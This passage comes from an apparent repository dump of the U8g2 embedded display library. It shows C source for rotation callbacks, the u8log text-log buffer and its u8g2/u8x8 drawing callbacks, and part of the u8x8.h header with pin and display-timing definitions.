x;\n  \n  if ( dir == 0 )\n  {\n    yy--;\n    yy -= len;\n    yy++;\n    dir = 1;\n  }\n  else\n  {\n    yy--;\n    dir = 0;\n  }\n  \n  \n  u8g2_draw_hv_line_2dir(u8g2, xx, yy, len, dir);\n}\n\n\n\n/*============================================*/\nconst u8g2_cb_t u8g2_cb_r0 = { u8g2_update_dimension_r0, u8g2_update_page_win_r0, u8g2_draw_l90_r0 };\nconst u8g2_cb_t u8g2_cb_r1 = { u8g2_update_dimension_r1, u8g2_update_page_win_r1, u8g2_draw_l90_r1 };\nconst u8g2_cb_t u8g2_cb_r2 = { u8g2_update_dimension_r2, u8g2_update_page_win_r2, u8g2_draw_l90_r2 };\nconst u8g2_cb_t u8g2_cb_r3 = { u8g2_update_dimension_r3, u8g2_update_page_win_r3, u8g2_draw_l90_r3 };\n  \nconst u8g2_cb_t u8g2_cb_mirror = { u8g2_update_dimension_r0, u8g2_update_page_win_r0, u8g2_draw_l90_mirrorr_r0 };\nconst u8g2_cb_t u8g2_cb_mirror_vertical = { u8g2_update_dimension_r0, u8g2_update_page_win_r0, u8g2_draw_mirror_vertical_r0 };\n  \n/*============================================*/\n/* setup for the null device */\n\n/* setup for the null (empty) device */\nvoid u8g2_Setup_null(u8g2_t *u8g2, const u8g2_cb_t *rotation, u8x8_msg_cb byte_cb, u8x8_msg_cb gpio_and_delay_cb)\n{\n  static uint8_t buf[8];\n  u8g2_SetupDisplay(u8g2, u8x8_d_null_cb, u8x8_cad_empty, byte_cb, gpio_and_delay_cb);\n  u8g2_SetupBuffer(u8g2, buf, 1, u8g2_ll_hvline_vertical_top_lsb, rotation);\n}\n\n\n  \n  "
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8log.c",
    "content": "/*\n\n  u8log.c\n  \n\n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2018, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n\n*/\n\n#include <stdint.h>\n#include <string.h>\n#include \"u8x8.h\"\n\n\n/*\nstatic uint8_t u8log_is_on_screen(u8log_t *u8log, uint8_t x, uint8_t y)\n{\n  if ( x >= u8log->width )\n    return 0;\n  if ( y >= u8log->height )\n    return 0;\n  return 1;\n}\n*/\n\nstatic void u8log_clear_screen(u8log_t *u8log)\n{\n  uint8_t *dest = u8log->screen_buffer;\n  uint16_t cnt = u8log->height;\n  cnt *= u8log->width;\n  do\n  {\n    *dest++ = ' ';\n    cnt--;\n  } while( cnt > 0 );\n  \n}\n\n\n/* scroll the content of the complete buffer, set redraw_line to 255 */\nstatic void u8log_scroll_up(u8log_t *u8log)\n{\n  uint8_t *dest = u8log->screen_buffer;\n  uint8_t *src = dest+u8log->width;\n  uint16_t cnt = u8log->height;\n  cnt--;\n  cnt *= u8log->width;\n  do\n  {\n    *dest++ = *src++;\n    cnt--;\n  } while( cnt > 0 );\n  cnt = u8log->width;\n  do\n  {\n    *dest++ = ' ';\n    cnt--;\n  } while(cnt > 0);\n  \n  if ( u8log->is_redraw_line_for_each_char )\n    u8log->is_redraw_all = 1;\n  else\n    u8log->is_redraw_all_required_for_next_nl = 1;\n}\n\n/*\n  Place the cursor on the screen. This will also scroll, if required \n*/\nstatic void u8log_cursor_on_screen(u8log_t *u8log)\n{\n  //printf(\"u8log_cursor_on_screen, cursor_y=%d\\n\", u8log->cursor_y);\n  if ( u8log->cursor_x >= u8log->width )\n  {\n    u8log->cursor_x = 0;\n    u8log->cursor_y++;\n  }\n  while ( u8log->cursor_y >= u8log->height )\n  {\n    u8log_scroll_up(u8log);\n    u8log->cursor_y--;\n  }\n}\n\n/*\n  Write a printable, single char on the screen, do any kind of scrolling\n*/\nstatic void u8log_write_to_screen(u8log_t *u8log, uint8_t c)\n{\n  u8log_cursor_on_screen(u8log);\n  u8log->screen_buffer[u8log->cursor_y * u8log->width + u8log->cursor_x] = c;\n  u8log->cursor_x++;\n  \n  if ( u8log->is_redraw_line_for_each_char )\n  {\n    u8log->is_redraw_line = 1;\n    u8log->redraw_line = u8log->cursor_y;\n  }\n}\n\n/*\n  Handle control codes or write the char to the screen.\n  Supported control codes are:\n  \n    \\n\t\t10\t\tGoto first position of the next line. Line is marked for redraw.\n    \\r\t\t13\t\tGoto first position in the same line. Line is marked for redraw.\n    \\t\t\t9\t\tJump to the next tab position\n    \\f\t\t12\t\tClear the screen and mark redraw for whole screen\n    any other char\tWrite char to screen. Line redraw mark depends on \n\t\t\t\tis_redraw_line_for_each_char flag.\n*/\nvoid u8log_write_char(u8log_t *u8log, uint8_t c)\n{\n  switch(c)\n  {\n    case '\\n':\t// 10\n      u8log->is_redraw_line = 1;\n      u8log->redraw_line = u8log->cursor_y;\n      if ( u8log->is_redraw_all_required_for_next_nl )\n\tu8log->is_redraw_all = 1;\n      u8log->is_redraw_all_required_for_next_nl = 0;\n      u8log->cursor_y++;\n      u8log->cursor_x = 0;\n      break;\t\n    case '\\r':\t// 13\n      u8log->is_redraw_line = 1;\n      u8log->redraw_line = u8log->cursor_y;\n      u8log->cursor_x = 0;\n      break;\n    case '\\t':\t// 9\n      u8log->cursor_x = (u8log->cursor_x + 8) & 0xf8;\n      break;\n    case '\\f':\t// 12\n      u8log_clear_screen(u8log);\n      u8log->is_redraw_all = 1;\n      u8log->cursor_x = 0;\n      u8log->cursor_y = 0;\n      break;\n    default:\n      u8log_write_to_screen(u8log, c);\n      break;\n  }\n}\n\nvoid u8log_Init(u8log_t *u8log, uint8_t width, uint8_t height, uint8_t *buf)\n{\n  memset(u8log, 0, sizeof(u8log_t));\n  u8log->width = width;\n  u8log->height = height;\n  u8log->screen_buffer = buf;\n  u8log_clear_screen(u8log);\n}\n\nvoid u8log_SetCallback(u8log_t *u8log, u8log_cb cb, void *aux_data)\n{\n  u8log->cb = cb;\n  u8log->aux_data = aux_data;\n}\n\nvoid u8log_SetRedrawMode(u8log_t *u8log, uint8_t is_redraw_line_for_each_char)\n{\n  u8log->is_redraw_line_for_each_char = is_redraw_line_for_each_char;\n}\n\n/* offset can be negative or positive, it is 0 by default */\nvoid u8log_SetLineHeightOffset(u8log_t *u8log, int8_t line_height_offset)\n{\n  u8log->line_height_offset = line_height_offset;\n}\n\n\n\nvoid u8log_WriteChar(u8log_t *u8log, uint8_t c)\n{\n  u8log_write_char(u8log, c);\n  if ( u8log->is_redraw_line || u8log->is_redraw_all )\n  {\n    if ( u8log->cb != 0 )\n    {\n      u8log->cb(u8log);\n    }\n    u8log->is_redraw_line = 0;\n    u8log->is_redraw_all = 0;\n  }\n}\n\nvoid u8log_WriteString(u8log_t *u8log, const char *s)\n{\n  while( *s != '\\0' )\n  {\n    u8log_WriteChar(u8log, *s);\n    s++;\n  }\n}\n\nstatic void u8log_WriteHexHalfByte(u8log_t *u8log, uint8_t b) U8X8_NOINLINE;\nstatic void u8log_WriteHexHalfByte(u8log_t *u8log, uint8_t b)\n{\n  b &= 0x0f;\n  if ( b < 10 )\n    u8log_WriteChar(u8log, b+'0');\n  else\n    u8log_WriteChar(u8log, b+'a'-10);\n}\n\nvoid u8log_WriteHex8(u8log_t *u8log, uint8_t b)\n{\n  u8log_WriteHexHalfByte(u8log, b >> 4);\n  u8log_WriteHexHalfByte(u8log, b);\n}\n\nvoid u8log_WriteHex16(u8log_t *u8log, uint16_t v)\n{\n  u8log_WriteHex8(u8log, v>>8);\n  u8log_WriteHex8(u8log, v);\n}\n\nvoid u8log_WriteHex32(u8log_t *u8log, uint32_t v)\n{\n  u8log_WriteHex16(u8log, v>>16);\n  u8log_WriteHex16(u8log, v);\n}\n\n/* v = value, d = number of digits (1..3) */\nvoid u8log_WriteDec8(u8log_t *u8log, uint8_t v, uint8_t d)\n{\n  u8log_WriteString(u8log, u8x8_u8toa(v, d));\n}\n\n/* v = value, d = number of digits (1..5) */\nvoid u8log_WriteDec16(u8log_t *u8log, uint16_t v, uint8_t d)\n{\n  u8log_WriteString(u8log, u8x8_u16toa(v, d));\n}\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8log_u8g2.c",
    "content": "/*\n\n  u8log_u8g2.c\n  \n\n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2018, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n\n*/\n\n#include \"u8g2.h\"\n/*\n  Draw the u8log text at the specified x/y position.\n  x/y position is the reference position of the first char of the first line.\n  the line height is \n    u8g2_GetAscent(u8g2) - u8g2_GetDescent(u8g2) + line_height_offset;\n  line_height_offset can be set with u8log_SetLineHeightOffset()\n  Use\n    u8g2_SetFontRefHeightText(u8g2_t *u8g2);\n    u8g2_SetFontRefHeightExtendedText(u8g2_t *u8g2);\n    u8g2_SetFontRefHeightAll(u8g2_t *u8g2);\n  to change the return values for u8g2_GetAscent and u8g2_GetDescent\n\n*/\nvoid u8g2_DrawLog(u8g2_t *u8g2, u8g2_uint_t x, u8g2_uint_t y, u8log_t *u8log)\n{\n  u8g2_uint_t disp_x, disp_y;\n  uint8_t buf_x, buf_y;\n  uint8_t c;\n  \n  disp_y = y;  \n  u8g2_SetFontDirection(u8g2, 0);\n  for( buf_y = 0; buf_y < u8log->height; buf_y++ )\n  {\n    disp_x = x;\n    for( buf_x = 0; buf_x < u8log->width; buf_x++ )\n    {\n      c = u8log->screen_buffer[buf_y * u8log->width + buf_x];\n      disp_x += u8g2_DrawGlyph(u8g2, disp_x, disp_y, c);\n    }\n    disp_y += u8g2_GetAscent(u8g2) - u8g2_GetDescent(u8g2);\n    disp_y += u8log->line_height_offset;\n  }\n}\n\n/*\n  u8lib callback for u8g2\n  \n  Only font direction 0 is supported: u8g2_SetFontDirection(u8g2, 0)\n  Use\n    u8g2_SetFontRefHeightText(u8g2_t *u8g2);\n    u8g2_SetFontRefHeightExtendedText(u8g2_t *u8g2);\n    u8g2_SetFontRefHeightAll(u8g2_t *u8g2);\n  to change the top offset and the line height and\n    u8log_SetLineHeightOffset(u8log_t *u8log, int8_t line_height_offset)\n  to change the line height.\n  \n*/\nvoid u8log_u8g2_cb(u8log_t * u8log)\n{\n  u8g2_t *u8g2 = (u8g2_t *)(u8log->aux_data);\n  if ( u8log->is_redraw_line || u8log->is_redraw_all )\n  {\n    u8g2_FirstPage(u8g2);\n    do\n    {\n      u8g2_DrawLog( u8g2, 0, u8g2_GetAscent(u8g2), u8log);\n    }\n    while( u8g2_NextPage(u8g2) );\n  }\n}\n\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8log_u8x8.c",
    "content": "/*\n\n  u8log_u8x8.c\n  \n\n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2018, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n\n*/\n\n#include \"u8x8.h\"\n\nstatic void u8x8_DrawLogLine(u8x8_t *u8x8, uint8_t disp_x, uint8_t disp_y, uint8_t buf_y, u8log_t *u8log) U8X8_NOINLINE;\nstatic void u8x8_DrawLogLine(u8x8_t *u8x8, uint8_t disp_x, uint8_t disp_y, uint8_t buf_y, u8log_t *u8log)\n{\n  uint8_t buf_x;\n  uint8_t c;\n  for( buf_x = 0; buf_x < u8log->width; buf_x++ )\n  {\n    c = u8log->screen_buffer[buf_y * u8log->width + buf_x];\n    u8x8_DrawGlyph(u8x8, disp_x, disp_y, c);\n    disp_x++;\n  }\n}\n\nvoid u8x8_DrawLog(u8x8_t *u8x8, uint8_t x, uint8_t y, u8log_t *u8log)\n{\n  uint8_t buf_y;\n  for( buf_y = 0; buf_y < u8log->height; buf_y++ )\n  {\n    u8x8_DrawLogLine(u8x8, x, y, buf_y, u8log);\n    y++;\n  }\n}\n\n\nvoid u8log_u8x8_cb(u8log_t * u8log)\n{\n  u8x8_t *u8x8 = (u8x8_t *)(u8log->aux_data);\n  if ( u8log->is_redraw_all )\n  {\n    u8x8_DrawLog(u8x8, 0, 0, u8log);\n  }\n  else if ( u8log->is_redraw_line )\n  {\n    u8x8_DrawLogLine(u8x8, 0, u8log->redraw_line, u8log->redraw_line, u8log);\n  }\n}\n\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8.h",
    "content": "/*\n\n  u8x8.h\n  \n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2016, olikraus@gmail.  \n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n  \n  \n  \n  U8glib has several layers. Each layer is implemented with a callback function. \n  This callback function handles the messages for the layer.\n\n  The topmost level is the display layer. It includes the following messages:\n  \n    U8X8_MSG_DISPLAY_SETUP_MEMORY\t\t\tno communication with the display, setup memory only\n    U8X8_MSG_DISPLAY_INIT\n    U8X8_MSG_DISPLAY_SET_FLIP_MODE\n    U8X8_MSG_DISPLAY_SET_POWER_SAVE\n    U8X8_MSG_DISPLAY_SET_CONTRAST\n    U8X8_MSG_DISPLAY_DRAW_TILE\n\n  A display driver may decided to breakdown these messages to a lower level interface or\n  implement this functionality directly.\n  \n\n  One layer is the Command/Arg/Data interface. It can be used by the display layer\n  to communicate with the display hardware.\n  This layer only deals with data, commands and arguments. D/C line is unknown.\n    U8X8_MSG_CAD_INIT\n    U8X8_MSG_CAD_SET_I2C_ADR\t(obsolete)\n    U8X8_MSG_CAD_SET_DEVICE (obsolete)\n    U8X8_MSG_CAD_START_TRANSFER\n    U8X8_MSG_CAD_SEND_CMD\n    U8X8_MSG_CAD_SEND_ARG\n    U8X8_MSG_CAD_SEND_DATA\n    U8X8_MSG_CAD_END_TRANSFER\n    \n  The byte interface is there to send 1 byte (8 bits) to the display hardware.\n  This layer depends on the hardware of a microcontroller, if a specific hardware \n  should be used (I2C or SPI). \n  If this interface is implemented via software, it may use the GPIO level for sending\n  bytes.\n    U8X8_MSG_BYTE_INIT\n    U8X8_MSG_BYTE_SEND 30\n    U8X8_MSG_BYTE_SET_DC 31\n    U8X8_MSG_BYTE_START_TRANSFER\n    U8X8_MSG_BYTE_END_TRANSFER\n    U8X8_MSG_BYTE_SET_I2C_ADR (obsolete)\n    U8X8_MSG_BYTE_SET_DEVICE (obsolete)\n\n  GPIO and Delay\n    U8X8_MSG_GPIO_INIT\n    U8X8_MSG_DELAY_MILLI\n    U8X8_MSG_DELAY_10MICRO\n    U8X8_MSG_DELAY_100NANO\n    U8X8_MSG_DELAY_NANO\n*/\n\n#ifndef U8X8_H\n#define U8X8_H\n\n/*==========================================*/\n/* Global Defines */\n\n/* Undefine this to remove u8x8_SetContrast function */\n#ifndef U8X8_WITHOUT_SET_CONTRAST\n#define U8X8_WITH_SET_CONTRAST\n#endif\n\n/* Define this for an additional user pointer inside the u8x8 data struct */\n//#define U8X8_WITH_USER_PTR\n\n\n/* Undefine this to remove u8x8_SetFlipMode function */\n/* 26 May 2016: Obsolete */\n//#define U8X8_WITH_SET_FLIP_MODE\n\n/* Select 0 or 1 for the default flip mode. This is not affected by U8X8_WITH_FLIP_MODE */\n/* Note: Not all display types support a mirror function for the frame buffer */\n/* 26 May 2016: Obsolete */\n//#define U8X8_DEFAULT_FLIP_MODE 0\n\n/*==========================================*/\n/* Includes */\n\n\n#include <stdint.h>\n#include <stdarg.h>\n#include <stddef.h>\n#include <limits.h>\n\n#if defined(__GNUC__) && defined(__AVR__)\n#include <avr/pgmspace.h>\n#endif \n\n/*==========================================*/\n/* C++ compatible */\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n\n/*==========================================*/\n/* U8G2 internal defines */\n\n/* the following macro returns the first value for the normal mode */\n/* or the second argument for the flip mode */\n\n/* 26 May 2016: Obsolete\n#if U8X8_DEFAULT_FLIP_MODE == 0\n#define U8X8_IF_DEFAULT_NORMAL_OR_FLIP(normal, flipmode) (normal)\n#else\n#define U8X8_IF_DEFAULT_NORMAL_OR_FLIP(normal, flipmode) (flipmode)\n#endif\n*/\n\n#ifdef __GNUC__\n#  define U8X8_NOINLINE __attribute__((noinline))\n#  define U8X8_SECTION(name) __attribute__ ((section (name)))\n#  define U8X8_UNUSED __attribute__((unused))\n#else\n#  define U8X8_SECTION(name)\n#  define U8X8_NOINLINE\n#  define U8X8_UNUSED\n#endif\n\n#if defined(__GNUC__) && defined(__AVR__)\n#  define U8X8_FONT_SECTION(name) U8X8_SECTION(\".progmem.\" name)\n#  define u8x8_pgm_read(adr) pgm_read_byte_near(adr)\n#  define U8X8_PROGMEM PROGMEM\n#endif\n\n#if defined(ESP8266)\nuint8_t u8x8_pgm_read_esp(const uint8_t * addr);   /* u8x8_8x8.c */\n#  define U8X8_FONT_SECTION(name) __attribute__((section(\".text.\" name)))\n#  define u8x8_pgm_read(adr) u8x8_pgm_read_esp(adr)\n#  define U8X8_PROGMEM\n#endif\n\n\n\n#ifndef U8X8_FONT_SECTION\n#  define U8X8_FONT_SECTION(name) \n#endif\n\n#ifndef u8x8_pgm_read\n#  ifndef CHAR_BIT\n#  \tdefine u8x8_pgm_read(adr) (*(const uint8_t *)(adr)) \n#  else\n#\tif CHAR_BIT > 8 \n#  \t  define u8x8_pgm_read(adr) ((*(const uint8_t *)(adr)) & 0x0ff)\n#     else\n#  \t  define u8x8_pgm_read(adr) (*(const uint8_t *)(adr)) \n#     endif \n#  endif\n#endif\n\n#ifndef U8X8_PROGMEM\n#  define U8X8_PROGMEM\n#endif\n\n#ifdef ARDUINO\n#define U8X8_USE_PINS\n#endif\n\n#ifdef __RTTHREAD__\n#define U8X8_USE_PINS\n#endif\n\n#ifdef __LUATOS__\n#define U8X8_USE_PINS\n#endif\n\n#if defined(__ARM_LINUX__) || defined(unix) || defined(__unix__) || defined(__unix)\n/* https://github.com/olikraus/u8g2/pull/1666 */\n#define U8X8_USE_PINS\n#define U8X8_WITH_USER_PTR\n#endif\n\n/*==========================================*/\n/* U8X8 typedefs and data structures */\n\n\ntypedef struct u8x8_struct u8x8_t;\ntypedef struct u8x8_display_info_struct u8x8_display_info_t;\ntypedef struct u8x8_tile_struct u8x8_tile_t;\n\ntypedef uint8_t (*u8x8_msg_cb)(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\ntypedef uint16_t (*u8x8_char_cb)(u8x8_t *u8x8, uint8_t b);\n\n\n\n\n//struct u8x8_mcd_struct\n//{\n//  u8x8_msg_cb cb;\t\t/* current callback function */\n//  u8x8_t *u8g2;\t\t/* pointer to the u8g2 parent to minimize the number of args */\n//  u8x8_mcd_t *next;\n//};\n\nstruct u8x8_tile_struct\n{\n  uint8_t *tile_ptr;\t/* pointer to one or more tiles... should be \"const\" */\n  uint8_t cnt;\t\t/* number of tiles */\n  uint8_t x_pos;\t/* tile x position */\n  uint8_t y_pos;\t/* tile y position */\n};\n\n\nstruct u8x8_display_info_struct\n{\n  /* == general == */\n\n  uint8_t chip_enable_level;\t\t\t/* UC1601: 0 */\n  uint8_t chip_disable_level;\t\t\t/* opposite of chip_enable_level */\n  \n  uint8_t post_chip_enable_wait_ns;\t\t/* UC1601: 5ns */\n  uint8_t pre_chip_disable_wait_ns;\t\t/* UC1601: 5ns */\n  uint8_t reset_pulse_width_ms;\t\t/* UC1601: 0.003ms --> 1ms */ \n  uint8_t post_reset_wait_ms;\t\t\t/* UC1601: 6ms  */ \n  \n  \n  /* == SPI interface == */\n  \n  /* after SDA has been applied, wait this much time for the SCK data takeover edge */\n  /* if this is smaller than sck_pulse_width_ns, then use the value from sck_pulse_width_ns */\n  uint8_t sda_setup_time_ns;\t\t/* UC1601: 12ns */\n  /* the pulse width of the the clock signal, cycle time is twice this value */\n  /* max freq is 1/(2*sck_pulse_width_ns) */\n  /* AVR: below 70: DIV2, 8 MHz, >= 70 --> 4MHz clock (DIV4) */\n  uint8_t sck_pulse_width_ns;\t\t/* UC1701: 50ns */\n  \n  /* until here we have 8 bytes (uint8_t). Newly introduced for SPI.beginTransaction */\n  uint32_t sck_clock_hz;\n  \n  /* previous name \"sck_takeover_edge\" renamed to \"spi_mode\" */\n  /* bit 0 of spi_mode is equal to the value of the previous variable sck_takeover_edge, 20 Aug 16: This is wrong the bit is actually inverted */ \n  /* SPI has four clock modes: */\n  /*   0: clock active high, data out on falling edge, clock default value is zero, takover on rising edge */\n  /*   1: clock active high, data out on rising edge, clock default value is zero, takover on falling edge */\n  /*   2: clock active low, data out on rising edge */\n  /*   3: clock active low, data out on falling edge */\n  /* most displays have clock mode 1 */\n  uint8_t spi_mode;\n  \n  /* == I2C == */\n  uint8_t i2c_bus_clock_100kHz;\t\t/* UC1601: 1000000000/275 = 37 *100k */\n\n  \n  /* == 8 bit interface == */\n  \n  /* how long to wait after all data line are set */\n  uint8_t data_setup_time_ns;\t\t/* UC1601: 30ns */\n  /* write enable pulse width */\n  uint8_t write_pulse_width_ns;\t\t/* UC1601: 40ns */\n  \n  /* == layout == */\n  uint8_t tile_width;\n  uint8_t tile_height;\n\n  uint8_t default_x_offset;\t\t/* default x offset for the display */\n  uint8_t flipmode_x_offset;\t/* x offset, if flip mode is enabled */\n \n /* pixel width is not used by the u8x8 procedures */\n /* instead it will be used by the u8g2 procedures, because the pixel dimension can */\n /* not always be calculated from the tile_width/_height */\n /* the following conditions must be true: */\n /* pixel_width <= tile_width*8 */\n /* pixel_height <= tile_height*8 */\n  uint16_t pixel_width;\n  uint16_t pixel_height;\n};\n\n\n\n/* list of U8x8 pins */\n#define U8X8_PIN_D0 0\n#define U8X8_PIN_SPI_CLOCK 0\n#define U8X8_PIN_D1 1\n#define U8X8_PIN_SPI_DATA 1\n#define U8X8_PIN_D2 2\n#define U8X8_PIN_D3 3\n#define U8X8_PIN_D4 4\n#define U8X8_PIN_D5 5\n#define U8X8_PIN_D6 6\n#define U8X8_PIN_D7 7\n\n#define U8X8_PIN_E 8\n#define U8X8_PIN_CS 9\t\t\t/* parallel, SPI */\n#define U8X8_PIN_DC 10\t\t\t/* parallel, SPI */\n#define U8X8_PIN_RESET 11\t\t/* parallel, SPI, I2C */\n\n#define U8X8_PIN_I2C_CLOCK 12\t/* 1 = Input/high impedance, 0 = drive low */\n#define U8X8_PIN_I2C_DATA 13\t/* 1 = Input/high impedance, 0 = drive low */\n\n#define U8X8_PIN_CS1 14\t\t\t/* KS0108 extra chip select */\n#define U8X8_PIN_CS2 15\t\t\t/* KS0108 extra chip select */\n\n#define U8X8_PIN_OUTPUT_CNT 16\n\n#define U8X8_PIN_MENU_SELECT 16\n#define U8X8_PIN_MENU_NEXT 17\n#define U8X8_PIN_MENU_PREV 18\n#define U8X8_PIN_MENU_HOME 19\n#define U8X8_PIN_MENU_UP 20\n#define U8X8_PIN_MENU_DOWN 21\n\n#define U8X8_PIN_INPUT_CNT 6\n\n#ifdef U8X8_USE_PINS \n#define U8X8_PIN_CNT (U8X8_PIN_OUTPUT_CNT+U8X8_PIN_INPUT_CNT)\n#define U8X8_PIN_NONE 255\n#endif\n\nstruct u8x8_struct\n{\n  const u8x8_display_info_t *display_info;\n  u8x8_char_cb next_cb; /*  procedure, which will be used to get the next char from the string */\n  u8x8_msg_cb display_cb;\n  u8x8_msg_cb cad_cb;\n  u8x8_msg_cb byte_cb;\n  u8x8_msg_cb gpio_and_delay_cb;\n  uint32_t bus_clock;\t/* can be used by the byte function to store the clock speed of the bus */\n  const uint8_t *font;\n  uint16_t encoding;\t\t/* encoding result for utf8 decoder in next_cb */\n  uint8_t x_offset;\t/* copied from info struct, can be modified in flip mode */\n  uint8_t is_font_inverse_mode; \t/* 0: normal, 1: font glyphs are inverted */\n  uint8_t i2c_address;\t/* a valid i2c adr. Initially this is 255, but this is set to something useful during DISPLAY_INIT */\n\t\t\t\t\t/* i2c_address is the address for writing data to the display */\n\t\t\t\t\t/* usually, the lowest bit must be zero for a valid address */\n  uint8_t i2c_started;\t/* for i2c interface */\n  //uint8_t device_address;\t/* OBSOLETE???? - this is the device address, replacement for U8X8_MSG_CAD_SET_DEVICE */\n  uint8_t utf8_state;\t\t/* number of chars which are still to scan */\n  uint8_t gpio_result;\t/* return value from the gpio call (only for MENU keys at the moment) */ \n  uint8_t debounce_default_pin_state;\n  uint8_t debounce_last_pin_state;\n  uint8_t debounce_state;\n  uint8_t debounce_result_msg;\t/* result msg or event 